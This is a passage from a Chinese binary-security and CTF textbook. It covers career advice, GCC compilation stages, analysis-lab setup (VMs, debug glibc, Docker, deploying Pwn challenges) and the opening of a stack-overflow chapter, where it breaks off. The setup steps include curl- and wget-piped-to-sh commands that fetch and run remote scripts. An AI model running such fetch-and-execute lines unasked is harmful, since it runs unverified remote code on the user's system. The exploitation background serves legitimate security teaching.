CS-6V81 System Security and Binary Code Analysis  AU Static Program Analysis Lecture notes 如果是走学术路线的朋友,阅读论文必不可少,一开始可以读综述类的文章,对某个领域的研 究情况有全面的了解,然后跟随综述去找对应的论文。个人比较推荐会议论文,因为通常可以在作 者个人主页上找到幻灯片,甚至会议录像视频,对学习理解论文很有帮助。如果直接读论文则感觉 会有些困难,这里推荐上海交通大学“蜚语”安全小组的论文笔记。坚持读、多思考,相信量变终 会产生质变。 为了持续学习和提升,还需要收集和订阅一些安全资讯(FreeBuf、SecWiki、安全客)、漏洞披 露(exploit-db、CVE)、技术论坛(看雪论坛、吾爱破解、先知社区)和大牛的技术博客,这一步 可以通过 RSS Feed 来完成。随着社会媒体的发展,很多安全团队和个人都转战到了 Twitter、微博、 微信公众号等新媒体上,请果断关注他们(操作技巧:从某个安全研究者开始,遍历其关注列表, 然后递归,即可获得大量相关资源),通常可以获得最新的研究成果、漏洞、PoC、会议演讲等信息 甚至资源链接等。 最后,我想结合自己以及同学毕业季找工作的经历,简单谈一谈二进制方向的就业问题。首先, 从各种企业的招聘需求来看,安全岗位相比研发、运维和甚至算法都是少之又少的,且集中在互联 网行业,少部分是国企和银行。在安全岗位中,又以 Web 安全、安全开发和安全管理类居多,而二 第 1 章 CTF 简介 ┃ XXIII 进制安全由于企业需求并不是很明朗,因此岗位仅仅存在于几个头部的甲方互联网公司(如腾讯、 阿里等)的安全实验室,以及部分乙方安全公司(如 360、深信服等)中,主要从事安全研究、病毒 分析和漏洞分析等工作,相对而言就业面狭窄,门槛也较高。随着各种漏洞缓解机制的引入和成熟, 软件漏洞即使不会减少,也会越来越难以利用,试想有一天漏洞利用的成本大于利润,那么漏洞研 究也就走到头了。所以,如果不是对该方向有强烈的兴趣和死磕一辈子的决心,考虑到投入产出比, 还是建议选择 Web 安全、安全管理等就业前景更好的方向。好消息是,随着物联网的发展,大量智 能设备的出现为二进制安全提供了新的方向,让我们拭目以待。 1.3.2 CTF 经验 CTF 对于入门者是一种很好的学习方式,通过练习不同类型、不同难度的 CTF 题,可以循序渐 进地学习到安全的基本概念、攻防技术和一些技巧,同时也能获得许多乐趣,并激发出更大的积极 性。其次,由于 CTF 题目中肯定存在人为设置的漏洞,只需要动手将其找出来即可,这大大降低了 真实环境中漏洞是否存在的不确定性,能够增强初学者的信心。 需要注意的是,对于初学者来说,应该更多地将精力放到具有一定通用性和代表性的题目上, 仔细研究经典题目及其 write-up,这样就很容易举一反三;而技巧性的东西,可以在比赛中慢慢积累。 另外,选择适合自身技术水平的 CTF 是很重要的,如果跳过基础阶段直接参与难度过大的比赛,可 能会导致信心不足、陷入自我怀疑当中。 就 CTF 战队而言,由于比赛涉及多个方向的技术,比拼的往往是团队的综合实力,因此,在组 建战队时要综合考虑,使各个面向都相对均衡。赛后也可以在团队内做日常的分析总结,拉近感情、 提升凝聚力。 随着计算机技术的发展、攻防技术的升级,CTF 本身也在不断更新和改进,一些高质量的 CTF 赛事往往会很及时地跟进,在题目中融入新的东西,建议积极参加这类比赛。 1.3.3 对安全从业者的建议 此部分内容是 TK 教主在腾讯玄武实验室内部例会上的分享,看完很有感触,经本人同意,特 转载于此,以飨读者。 1. 关于个人成长 (1)确立个人方向,结合工作内容,找出对应短板  该领域主要专家们的工作是否都了解?  相关网络协议、文件格式是否熟悉?  相关技术和主要工具是否看过、用过? (2)阅读只是学习过程的起点,不能止于阅读  工具的每个参数每个菜单都要看、要试 第 1 章 CTF 简介 ┃ XXIV  学习网络协议要实际抓包分析,学习文件格式要读代码实现  学习老漏洞一定要调试,搞懂每一个字节的意义,之后要完全自己重写一个 Exploit  细节、细节、细节,刨根问底 2. 建立学习参考目标 (1)短期参考比自己优秀的同龄人。阅读他们的文章和工作成果,从细节中观察他们的学习方 式和工作方式。 (2)中期参考你的方向上的业内专家。了解他们的成长轨迹,跟踪他们关注的内容。 (3)长期参考业内老牌企业和先锋企业。把握行业发展、技术趋势,为未来做积累。 3. 推荐的学习方式 (1)以工具为线索  一个比较省事的学习目录:Kali Linux  学习思路,以 Metasploit 为例:遍历每个子目录,除了 Exploit 里面还有什么?每个工具怎 么用?原理是什么?涉及哪些知识?能否改进优化?能否发展、组合出新的功能? (2)以专家为线索  你的技术方向上有哪些专家?他们的邮箱、主页、社交网络账号是什么?他们在该方向上 有哪些作品,发表过哪些演讲?跟踪关注,一个一个地学。 4. 如何提高效率  做好预研,收集相关前人成果,避免无谓的重复劳动  在可行性判断阶段,能找到工具就不写代码,能用脚本语言写就不要用编译语言,把完美 主义放在最终实现阶段  做好笔记并定期整理,遗忘会让所有的投入都白白浪费  多和同事交流,别人说一个工具的名字可能让你节约数小时  处理好学习、工作和生活  无论怎么提高效率,要成为专家,都需要大量的时间投入 参考资料 [1] 诸葛建伟. CTF 的过去、现在与未来[Z/OL]. [2] 教育部高等学校信息安全专业教学指导委员会. 2016 年全国大学生信息安全竞赛参赛指南 (创新实践能力大赛)[EB/OL].(2016-05-21). [3] LiveOverflow. What is CTF? An introduction to security Capture The Flag competitions[Z/OL]. 第 1 章 CTF 简介 ┃ XXV [4] Trail of Bits. CTF Field Guide[EB/OL]. [5] 百度百科. ctf(夺旗赛)[EB/OL]. 第 2 章 二进制文件 ┃ XXVI 第 2 章 二进制文件 2.1 从源代码到可执行文件 一个 C 语言程序的生命是从源文件开始的,这种高级语言的形式更容易被人理解。然而,要想 在操作系统上运行程序,每条 C 语句都必须被翻译为一系列的低级机器语言指令。最后,这些指令 按照可执行目标文件的格式打包,并以二进制文件的形式存放起来。 本节我们首先回顾编译原理的基础知识,然后以经典著作 The C Programming Language 中的第 一个程序 hello world 为例,讲解 Linux 下默认编译器 GCC(版本 5.4.0)的编译过程。 2.1.1 编译原理 编译器的作用是读入以某种语言(源语言)编写的程序,输出等价的用另一种语言(目标语言) 编写的程序。编译器的结构可分为前端(Front end)和后端(Back end)两部分。前端是机器无关的, 其功能是把源程序分解成组成要素和相应的语法结构,通过这个结构创建源程序的中间表示,同时 收集和源程序相关的信息,存放到符号表中;后端则是机器相关的,其功能是根据中间表示和符号 表信息构造目标程序。 编译过程可大致分为下面 5 个步骤,如图 2-1 所示。 (1)词法分析(Lexical analysis):读入源程序的字符流,输出为有意义的词素(Lexeme); (2)语法分析(Syntax analysis):根据各个词法单元的第一个分量来创建树型的中间表示形式, 通常是语法树(Syntax tree); (3)语义分析(Semantic analysis):使用语法树和符号表中的信息,检测源程序是否满足语言 定义的语义约束,同时收集类型信息,用于代码生成、类型检查和类型转换; (4)中间代码生成和优化:根据语义分析输出,生成类机器语言的中间表示,如三地址码。然 后对生成的中间代码进行分析和优化; (5)代码生成和优化:把中间表示形式映射到目标机器语言。 第 2 章 二进制文件 ┃ XXVII 图 2-1 编译过程 2.1.2 GCC 编译过程 首先我们来看 GCC 的编译过程,hello.c 的源代码如下。 #include <stdio.h> int main() { printf("hello, world\n"); } 在编译时添加“-save-temps”和“--verbose”编译选项,前者用于将编译过程中生成的中间文件 保存下来,后者用于查看 GCC 编译的详细工作流程,下面是几条最关键的输出。 $ gcc hello.c -o hello -save-temps --verbose ...... /usr/lib/gcc/x86_64-linux-gnu/5/cc1 -E -quiet -v -imultiarch x86_64-linux-gnu hello.c -mtune=generic -march=x86-64 -fpch-preprocess -fstack-protector-strong -Wformat -Wformat-security -o hello.i ...... /usr/lib/gcc/x86_64-linux-gnu/5/cc1 -fpreprocessed hello.i -quiet -dumpbase hello.c -mtune=generic -march=x86-64 -auxbase hello -version -fstack-protector-strong -Wformat -Wformat-security -o hello.s ...... as -v --64 -o hello.o hello.s ...... /usr/lib/gcc/x86_64-linux-gnu/5/collect2 -plugin -dynamic-linker /lib64/ld-linux-x86-64.so.2 -z relro -o hello /usr/lib/gcc/x86_64-linux-gnu/5/../../../x86_64-linux-gnu/crt1.o /usr/lib/gcc/x86_64-linux-gnu/5/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/5/crtbegin.o -L/usr/lib/gcc/x86_64-linux-gnu/5 第 2 章 二进制文件 ┃ XXVIII -L/usr/lib/gcc/x86_64-linux-gnu/5/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/5/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/5/../../.. hello.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/x86_64-linux-gnu/5/crtend.o /usr/lib/gcc/x86_64-linux-gnu/5/../../../x86_64-linux-gnu/crtn.o $ ls hello hello.c hello.i hello.o hello.s $ ./hello hello, world 可以看到,GCC 的编译主要包括四个阶段,即预处理(Preprocess)、编译(Compile)、汇编 (Assemble)和链接(Link),如图 2-2 所示,该过程中分别使用了 cc1、as 和 collect2 三个工具。其 中 cc1 是编译器,对应第一和第二阶段,用于将源文件 hello.c 编译为 hello.s;as 是汇编器,对应第 三阶段,用于将 hello.s 汇编为 hello.o 目标文件;链接器 collect2 是对 ld 命令的封装,用于将 C 语言 运行时库(CRT)中的目标文件(crt1.o、crti.o、crtbegin.o、crtend.o、crtn.o)以及所需的动态链接 库(libgcc.so、libgcc_s.so、libc.so)链接到可执行 hello。 图 2-2 GCC 的编译阶段 2.1.3 预处理阶段 GCC 编译的第一阶段是预处理,主要是处理源代码中以“#”开始的预处理指令,比如“#include”、 “#define”等,将其转换后直接插入程序文本中,得到另一个 C 程序,通常以“.i”作为文件扩展名。 在命令中添加编译选项“-E”可以单独执行预处理: $ gcc -E hello.c -o hello.i hello.i 文件的内容如下所示。 # 1 "hello.c" 第 2 章 二进制文件 ┃ XXIX # 1 "<built-in>" # 1 "<command-line>" ...... extern int printf (const char *__restrict __format, ...); ...... int main() { printf("hello, world\n"); } 通过观察我们可以得知预处理的一些处理规则,如下。  递归处理“#include”预处理指令,将对应文件的内容复制到该指令的位置;  删除所有的“#define”指令,并且在其被引用的位置递归地展开所有的宏定义;  处理所有条件预处理指令:“#if”、“#ifdef”、“#elif”、“#else”、“#endif”等;  删除所有注释;  添加行号和文件名标识。 2.1.4 编译阶段 GCC 编译的第二阶段是编译,该阶段将预处理文件进行一系列的词法分析、语法分析、语义分 析以及优化,最终生成汇编代码。在命令中添加编译选项“-S”,操作对象可以是源代码 hello.c, 也可以是预处理文件 hello.i。实际上在 GCC 的实现中,已经将预处理和编译合并处理。 $ gcc -S hello.c -o hello.s $ gcc -S hello.i -o hello.s -masm=intel -fno-asynchronous-unwind-tables GCC 默认使用 AT&T 格式的汇编语言,添加编译选项“-masm=intel”可以将其指定为我们熟悉 的 intel 格式。编译选项“-fno-asynchronous-unwind-tables”则用于生成没有 cfi 宏的汇编指令,以提 高可读性。hello.s 文件的内容如下所示。 .file "hello.c" .intel_syntax noprefix .section.rodata .LC0: .string "hello, world" .text .globl main .type main, @function main: push rbp mov rbp, rsp mov edi, OFFSET FLAT:.LC0 call puts mov eax, 0 pop rbp ret .size main, .-main .ident "GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609" 第 2 章 二进制文件 ┃ XXX .section.note.GNU-stack,"",@progbits 值得注意的是,生成的汇编代码中函数 printf()被替换成了 puts(),这是因为当 printf()只有单一 参数时,与 puts()是十分类似的,于是 GCC 的优化策略就将其替换以提高性能。 2.1.5 汇编阶段 GCC 编译的第三阶段是汇编,汇编器根据汇编指令与机器指令的对照表进行翻译,将 hello.s 汇 编成目标文件 hello.o。在命令中添加编译选项“-c”,操作对象可以是 hello.s,也可以从源代码 hello.c 开始,经过预处理、编译和汇编直接生成目标文件。 $ gcc -c hello.c -o hello.o $ gcc -c hello.s -o hello.o 此时的目标文件 hello.o 是一个可重定位文件(Relocatable File),可以使用 objdump 命令来查 看其内容。 $ file hello.o hello.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped $ objdump -sd hello.o -M intel Contents of section .text: 0000 554889e5 bf000000 00e80000 0000b800 UH.............. 0010 0000005d c3 ...]. Contents of section .rodata: 0000 68656c6c 6f2c2077 6f726c64 00 hello, world. ...... Disassembly of section .text: 0000000000000000 <main>: 0: 55 push rbp 1: 48 89 e5 mov rbp,rsp 4: bf 00 00 00 00 mov edi,0x0 9: e8 00 00 00 00 call e <main+0xe> e: b8 00 00 00 00 mov eax,0x0 13: 5d pop rbp 14: c3 ret 此时由于还未进行链接,对象文件中符号的虚拟地址无法确定,于是我们看到字符串“hello, world.”的地址被设置为 0x0000,作为参数传递字符串地址的 rdi 寄存器被设置为 0x0,而“call puts” 指令中函数 puts()的地址则被设置为下一条指令的地址 0xe。 2.1.6 链接阶段 GCC 编译的第四阶段是链接,可分为静态链接和动态链接两种。GCC 默认使用动态链接,添加 编译选项“-static”即可指定使用静态链接。这一阶段将目标文件及其依赖库进行链接,生成可执行 文件,主要包括地址和空间分配(Address and Storage Allocation)、符号绑定(Symbol Binding)和 重定位(Relocation)等操作。 第 2 章 二进制文件 ┃ XXXI $ gcc hello.o -o hello -static 链接操作由链接器(ld.so)完成,结果就得到了 hello 文件,这是一个静态链接的可执行文件 (Executable File),其包含了大量的库文件,因此我们只将关键部分展示如下。 $ file hello hello: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=4d3bba9e3336550c1af6912f040c1d6f918becb1, not stripped $ objdump -sd hello -M intel ...... Contents of section .rodata: 4a1080 01000200 68656c6c 6f2c2077 6f726c64 ....hello, world 4a1090 002e2e2f 6373752f 6c696263 2d737461 .../csu/libc-sta ...... 00000000004009ae <main>: 4009ae: 55 push rbp 4009af: 48 89 e5 mov rbp,rsp 4009b2: bf 84 10 4a 00 mov edi,0x4a1084 4009b7: e8 d4 f0 00 00 call 40fa90 <_IO_puts> 4009bc: b8 00 00 00 00 mov eax,0x0 4009c1: 5d pop rbp 4009c2: c3 ret ...... 000000000040fa90 <_IO_puts>: 40fa90: 41 54 push r12 40fa92: 55 push rbp 40fa93: 49 89 fc mov r12,rdi ...... 可以看到,通过链接操作,对象文件中无法确定的符号地址已经被修正为实际的符号地址,程 序也就可以被加载到内存中正常执行了。 第 5 章 分析环境搭建 ┃ XXXII 第 5 章 分析环境搭建 5.1 虚拟机环境 对二进制安全研究者而言,搭建一个安全、稳定、可靠且易于迁移的分析环境十分重要。在 CTF 中,我们也常常需要为各种二进制文件准备运行环境。本章我们将分别介绍虚拟机、Docker、QEMU 等环境的搭建以及常用的配置。 5.1.1 虚拟化与虚拟机管理程序 虚拟化(Virtualization)是资源的抽象化,是单一物理资源的多个逻辑表示,具有兼容、隔离的 优良特性。控制虚拟化的软件被称为虚拟机管理程序(Hypervisor),或者 VMM(Virtual Machine Monitor),使用虚拟机管理程序在特定硬件平台上创建的计算机环境被称为虚拟机(Virtual Machine),而特定的硬件平台被称为宿主机(Host Machine)。 在恶意代码和漏洞分析过程中常常需要使用虚拟化技术来进行辅助,这不仅可以保护真实的物 理设备环境不被恶意代码攻击、固化保存分析环境以提高工作效率,而且还能够在不影响程序执行 流的情况下动态捕获程序内存、CPU 寄存器等关键数据。 虚拟化技术根据实现技术的不同可以分为以下几类。  操作系统层虚拟化(OS-level Virtualization):应用于服务器操作系统中的轻量级虚拟化技 术,不能模拟硬件设备,但可以创建多个虚拟的操作系统实例,如 Docker。  硬件辅助虚拟化(Hardware-assisted Virtualization):由硬件平台对特殊指令进行截获和重 定向,交由虚拟机管理程序进行处理,这需要 CPU、主板、BIOS 和软件的支持。2005 年 Intel 公司提出了 Intel-VT,该技术包括处理器虚拟化技术 Intel VT-x、芯片组虚拟化技术 Intel VT-d 和网络虚拟化技术 Intel VT-c。同时,AMD 公司也提出了自己的虚拟化技术 AMD-V,如 VMware、VirtualBox。  半虚拟化(Para-Virtualization):通过修改开源操作系统,在其中加入与虚拟机管理程序 协同的代码,但不需要进行拦截和模拟,理论上性能更高,如 Hyper-V、Xen。  全虚拟化(Full Virtualization):不需要对操作系统进行改动,提供了完整的包括处理器、 内存和外设的虚拟化平台,对虚拟机中运行的高权限指令进行拦截和模拟,保证相关操作被 隔离在当前虚拟机中。通常情况下,全虚拟化对虚拟机操作系统的适配更加简便,如 VMware、 第 5 章 分析环境搭建 ┃ XXXIII VirtualBox、QEMU。 目前主流的全虚拟化虚拟机管理程序有 VirtualBox 和 VMware Workstation。其中 VirtualBox 是 由 Oracle 公司开发的开源软件,而 VMware Workstation 则是商业化产品,当然我们也可以尝试免费 的 Player 版本,但是缺乏快照以及更高级的虚拟网络管理功能。 基于 x86 的架构设计和 CPU、主板厂商的支持,我们可以很方便地在 PC 上开启硬件虚拟化。 在 PC 的 BIOS 设置中开启虚拟化选项,不同的主板和 CPU(此处指 Intel 与 AMD),其设置可能有 所不同,具体情况请查阅相关操作手册。 5.1.2 安装虚拟机 本书我们选择使用 Ubuntu16.04 amd64 desktop 虚拟机作为工作环境,下面简述如何通过 VMware Workstation 创建该虚拟机。 首先在 BIOS 设置中开启虚拟化选项,并下载安装 VMware Workstation。系统镜像文件推荐到速 度较快的国内开源镜像站中下载,如清华大学 TUNA。在新建虚拟机向导中选择对应的 ISO 文件, 并对虚拟机名称、用户名、密码和硬件选项等进行设置,耐心等待即可完成安装。对于虚拟机的网 络设置,通常使用桥接模式(独立 IP 地址,虚拟机相当于网络中一台独立的机器,虚拟机之间以及 虚拟机与宿主机之间都可以互相访问)和 NAT 模式(共享主机 IP 地址,虚拟机与宿主机之间可以 互相访问,但与其他主机不能互相访问)。另外,强烈建议安装 VMware Tools,以获得更方便的虚 拟机使用体验,如文件拖曳、共享剪贴板等功能。 虚拟机安装完成后,要做的第一件事情就是更换系统软件源,同样推荐清华大学 TUNA,更换 源的方法请参阅站点的帮助文件。接下来就是安装二进制安全研究或者 CTF 比赛的常用工具,以及 安装 32 位程序的依赖库等,部分安装命令如下所示。 $ sudo dpkg --add-architecture i386 $ sudo apt update && sudo apt upgrade $ sudo apt install libc6:i386 $ sudo apt install gcc-4.8 cmake gdb socat vim $ sudo apt install python-dev python-pip python3 python3-dev python3-pip $ sudo pip install zio pwntools ropgadget capstone keystone-engine unicorn $ wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh $ sudo wget https://github.com/slimm609/checksec.sh/raw/master/checksec -O /usr/local/bin/checksec && sudo chmod +x /usr/local/bin/checksec 5.1.3 编译 debug 版本的 glibc glibc 即 GNU C Library,是 GNU 操作系统的 C 标准库,主要由两部分组成:一部分是头文件, 位于/usr/include;另一部分是库的二进制文件,主要是 C 标准库,分为动态(libc.so.6)和静态(libc.a) 两个版本。通常系统中的共享库均为 release 版本,去除了符号表等调试信息。但有时为了方便调试, 第 5 章 分析环境搭建 ┃ XXXIV 我们就需要准备一份 debug 版本的 glibc。另外,有时 CTF 比赛中二进制程序所需的 libc 版本与我们 本地系统的版本不同(如 libc-2.26.so),那么为了使该程序在本地正常运行,同样也需要配置合适 的 libc。 从服务器中下载 glibc 源码,并切换到所需的分支,这里以 2.26 版本为例。 $ git clone git://sourceware.org/git/glibc.git && cd glibc $ git checkout glibc-2.26 $ # 编译 64 位 $ mkdir build && cd build $ ../configure --prefix=/usr/local/glibc-2.26 --enable-debug=yes $ make -j4 && sudo make install $ # 或者编译 32 位 $ mkdir build_32 && cd build_32 $ ../configure --prefix=/usr/local/glibc-2.26_32 --enable-debug=yes --host=i686-linux-gnu --build=i686-linux-gnu CC="gcc -m32" CXX="g++ -m32" CFLAGS="-O2 -march=i686" CXXFLAGS="-O2 -march=i686" $ make -j4 && sudo make install 这样 debug 版本的 glibc 就被安装到了/usr/local/glibc-2.26 路径下。如果想要使用该 libc 编译源 代码,那么只需要通过--rpath 指定共享库路径,-I 指定动态链接器就可以了,如下所示。 $ gcc -L/usr/local/glibc-2.26/lib -Wl,--rpath=/usr/local/glibc-2.26/lib -Wl,-I/usr/local/glibc-2.26/lib/ld-2.26.so hello.c -o hello $ ldd hello linux-vdso.so.1 => (0x00007ffef3dc7000) libc.so.6 => /usr/local/glibc-2.26/lib/libc.so.6 (0x00007fe826646000) /usr/local/glibc-2.26/lib/ld-2.26.so => /lib64/ld-linux-x86-64.so.2 (0x00007fe8269f7000) 那么如何使用该 libc 运行其他已编译的程序呢?随着越来越多的 Pwn 题开始基于新版本的 libc, 这一需求也就产生了。一种方法是直接使用该 libc 的动态链接器。如下所示。 $ /usr/local/glibc-2.26/lib/ld-2.26.so ./hello hello, world 另一种方法则是替换二进制文件的解释器(interpreter)路径,该路径在程序编译时被写入程序 头(PT_INTERP)。解释器在程序加载时对共享库进行动态链接,此时就需要 libc 与 ld 相匹配,否 则就会出错。使用如下脚本可以很方便地修改 ELF 文件的 PT_INTERP。 import os import argparse from pwn import * def change_ld(binary, ld, output): if not binary or not ld or not output: log.failure("Try 'python change_ld.py -h' for more information.") return None 第 5 章 分析环境搭建 ┃ XXXV binary = ELF(binary) for segment in binary.segments: if segment.header['p_type'] == 'PT_INTERP': size = segment.header['p_memsz'] addr = segment.header['p_paddr'] data = segment.data() if size <= len(ld): log.failure("Failed to change PT_INTERP") return None binary.write(addr, "/lib64/ld-glibc-{}".format(ld).ljust(size, '\0')) if os.access(output, os.F_OK): os.remove(output) binary.save(output) os.chmod(output, 0b111000000) # rwx------ success("PT_INTERP has changed. Saved temp file {}".format(output)) parser = argparse.ArgumentParser(description='Force to use assigned new ld.so by changing the binary') parser.add_argument('-b', dest="binary", help='input binary') parser.add_argument('-l', dest="ld", help='ld.so version') parser.add_argument('-o', dest="output", help='output file') args = parser.parse_args() change_ld(args.binary, args.ld, args.output) 在运行脚本之前需要先创建一个 ld 的符号链接,然后根据需求添加命令行参数,如下所示。 $ sudo ln -s /usr/local/glibc-2.26/lib/ld-2.26.so /lib64/ld-glibc-2.26 $ python change_ld.py -h usage: change_ld.py [-h] [-b BINARY] [-l LD] [-o OUTPUT] Force to use assigned new ld.so by changing the binary optional arguments: -h, --help show this help message and exit -b BINARY input binary -l LD ld.so version -o OUTPUT output file $ python change_ld.py -b hello -l 2.26 -o hello_debug [+] PT_INTERP has changed. Saved temp file hello_debug $ file hello hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e066fc51f4d1f584bf6f4e61429fe45bce772176, not stripped $ file hello_debug hello_debug: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-glibc-2.26, for GNU/Linux 2.6.32, BuildID[sha1]=e066fc51f4d1f584bf6f4e61429fe45bce772176, not stripped 当我们需要进行源码调试(特别是调试堆利用漏洞时),可以使用 gdb 命令 directory,但这种 第 5 章 分析环境搭建 ┃ XXXVI 方法只能制定单个文件或目录,而不能解析子目录,所以推荐使用下面这条 bash 命令在启动调试器 时加载源码。 $ gdb `find ~/path/to/glibc/source -type d -printf '-d %p '` ./a.out 5.2 Docker 环境 5.2.1 容器与 Docker 容器化(Containerization),也被称为基于容器(Linux Containers,LXC)的虚拟化和应用容器 化,是 Linux 上一种用于部署和运行应用的操作系统级虚拟化方法。一个宿主机上可以运行多个相 互隔离的容器,每个容器拥有单独的内核,可以看作是一个简易的 Linux 环境及环境中运行的应用 程序。 Docker 是当前一个主流的开源应用容器引擎,通过让开发者打包他们的应用以及依赖包到容器 中,即可将标准化的业务程序部署到任意生产环境中,使得开发者无须再关心生产环境的差异,实 现快速的自动打包和部署。 由于容器使用进程级别的隔离,并使用宿主机的内核,而没有对整个操作系统进行虚拟化,因 此和虚拟机相比,它的隔离性较差,但启动部署都更加便捷,具有可移植性。Docker 容器与虚拟机 的差别如图 5-1 所示。 图 5-1 Docker 容器与虚拟机的差别 容器是通过一个镜像(Image)来启动的,其状态包括运行、停止、删除和暂停。 镜像是一个可执行程序包,包含了运行应用程序所需的所有内容,如代码、运行时库、环境变 量和配置文件等。镜像可以看成是容器的模版,Docker 根据镜像来创建容器,且同一个镜像文件可 以创建多个容器。 通常一个镜像文件是通过继承另一个镜像文件,并加上一些个性化定制的东西而得到的,例如 在 Ubuntu 镜像中集成 Apache 服务器,就得到了一个新的镜像。为了方便镜像文件的共享,可以将 制作好的镜像文件上传到仓库(Repository),这是一个系统中存放镜像文件的地方,可分为公开仓 库和私有仓库两种。其中,Docker Hub 是 Docker 的官方仓库,从中可以找到我们需要的镜像和应用。 第 5 章 分析环境搭建 ┃ XXXVII Dockerfile 是一个文本文件,内含多条指令(Instruction),相当于是镜像文件的配置信息。Docker 会根据 Dockerfile 来生成镜像文件。 5.2.2 Docker 安装及使用 Docker 有免费使用的社区版(Community Edition,CE)和付费服务的企业版(Enterprise Edition, EE)两个版本,个人用户使用社区版即可。Ubuntu16.04 使用下面的命令即可安装并启用服务(服务 器-客户端架构),将普通用户加入 Docker 用户组可以避免每次命令都输入 sudo。 $ curl -s https://get.docker.com/ | sh # 安装 $ service docker start # 启用 $ sudo usermod -aG docker firmy # 添加组用户 $ docker version Client: Version: 18.09.5 API version: 1.39 Go version: go1.10.8 Git commit: e8ff056 Built: Thu Apr 11 04:44:24 2019 OS/Arch: linux/amd64 Experimental: false Server: Docker Engine - Community ...... 下面以 hello-world 和 ubuntu 镜像文件为例,演示 Docker 的一些基本操作。 $ # 抓取镜像文件 $ docker image pull library/hello-world Using default tag: latest latest: Pulling from library/hello-world 1b930d010525: Pull complete Digest: sha256:92695bc579f31df7a63da6922075d0666e565ceccad16b59c3374d2cf4e8e50e Status: Downloaded newer image for hello-world:latest $ # 查看本地镜像文件 $ docker image ls REPOSITORY TAG IMAGE ID CREATED SIZE hello-world latest fce289e99eb9 3 months ago 1.84kB $ # 生成容器并运行,该容器输出信息后自动终止 $ docker run hello-world $ # 启动一个不会自动终止的 Ubuntu 容器 $ docker run -it ubuntu /bin/bash root@68a2e4a54e74:/# uname -a Linux 68a2e4a54e74 4.15.0-47-generic #50~16.04.1-Ubuntu SMP Fri Mar 15 16:06:21 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux $ # Ctrl+P+Q 即可退出控制台,容器保持后台运行 $ # 列出正在运行的容器 第 5 章 分析环境搭建 ┃ XXXVIII $ docker container ls CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 68a2e4a54e74 ubuntu "bash" 7 minutes ago Up 7 minutes objective_tharp $ # 停止和删除容器 $ docker container stop 68a2e4a54e74 $ docker container rm 68a2e4a54e74 5.2.3 Pwn 题目部署 在本地部署 Pwn 题目,通常使用 socat 就可以满足需求,端口号为 10001。 $ socat tcp4-listen:10001,reuseaddr,fork exec:./pwnable & 但如果是办一个比赛需要同时连接大量用户,可能会导致服务器资源紧张,且权限隔离也存在 问题。因此,我们选择使用 Docker 和 ctf_xinetd 来进行部署,先复制(clone)该项目。 $ git clone https://github.com/Eadom/ctf_xinetd.git $ cd ctf_xinetd/ && cat ctf.xinetd service ctf { disable = no socket_type = stream protocol = tcp wait = no user = root type = UNLISTED port = 9999 bind = 0.0.0.0 server = /usr/sbin/chroot # replace helloworld to your program server_args = --userspec=1000:1000 /home/ctf ./helloworld banner_fail = /etc/banner_fail # safety options per_source = 10 # the maximum instances of this service per source IP address rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use #rlimit_as = 1024M # the Address Space resource limit for the service #access_times = 2:00-9:00 12:00-24:00 } 首先,将 Pwn 的二进制文件放到 bin 目录下,并修改 flag 为该题目的 flag 字符串。然后修改配 置文件 ctf.xinetd,比较重要的是端口 port 和参数 server_args,修改 helloworld 为二进制文件名。然 后用 build 命令创建镜像。 $ docker build -t "helloworld" . $ docker image ls REPOSITORY TAG IMAGE ID CREATED SIZE helloworld latest 3da30d9c1322 4 minutes ago 369MB ubuntu 16.04 9361ce633ff1 5 weeks ago 118MB 启动容器,命令中的三个 helloworld 分别代表 host name、container name 和 image name。此时, 第 5 章 分析环境搭建 ┃ XXXIX 用户就可以通过开放端口 10001 连接到该题目。 $ docker run -d -p "0.0.0.0:10001:9999" -h "helloworld" --name="helloworld" helloworld $ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES b3934c16c6ac helloworld "/start.sh" 2 minutes ago Up 2 minutes 0.0.0.0:10001->9999/tcp helloworld 另外,运维人员如果想抓取该 Pwn 题运行时的网络流量便于复查和监控作弊,可以在该服务器 上使用 tcpdump 抓取,例如: $ tcpdump -w pwn1.pcap -i eth0 port 10001 参考资料 [1] Docker Documentation[Z/OL]. [2] QEMU documentation[Z/OL]. [3] matrix1001. 关于不同版本 glibc 强行加载的方法[EB/OL]. (2018-06-11). 第 10 章 栈溢出与 ROP ┃ XL 第 10 章 栈溢出与 ROP 10.1 栈溢出原理 由于 C 语言对数组引用不做任何边界检查,从而导致缓冲区溢出(buffer overflow)成为一种很 常见的漏洞。根据溢出发生的内存位置,通常可以分为栈溢出和堆溢出。其中,由于栈上保存着局 部变量和一些状态信息(寄存器值、返回地址等),一旦发生严重的溢出,攻击者就可以通过覆写 返回地址来执行任意代码,利用方法包括 shellcode 注入、ret2libc、ROP 等。同时,防守方也发展出 多种利用缓解机制,在本书第 4 章已经做了深入的讲解。 10.1.1 函数调用栈 函数调用栈是一块连续的用来保存函数运行状态的内存区域,调用函数(caller)和被调用函数 (callee)根据调用关系堆叠起来,从内存的高地址向低地址增长。这个过程主要涉及 eip、esp 和 ebp 三个寄存器:eip 用于存储即将执行的指令地址;esp 用于存储栈顶地址,随着数据的压栈和出栈而 变化;ebp 用于存储栈基址,并参与栈内数据的寻址。 我们通过一个简单的程序来对 x86 和 x86-64 的调用栈进行讲解。内存布局如图 10-1 所示。 int func(int arg1, int arg2, int arg3, int arg4, int arg5, int arg6, int arg7, int arg8) { int loc1 = arg1 + 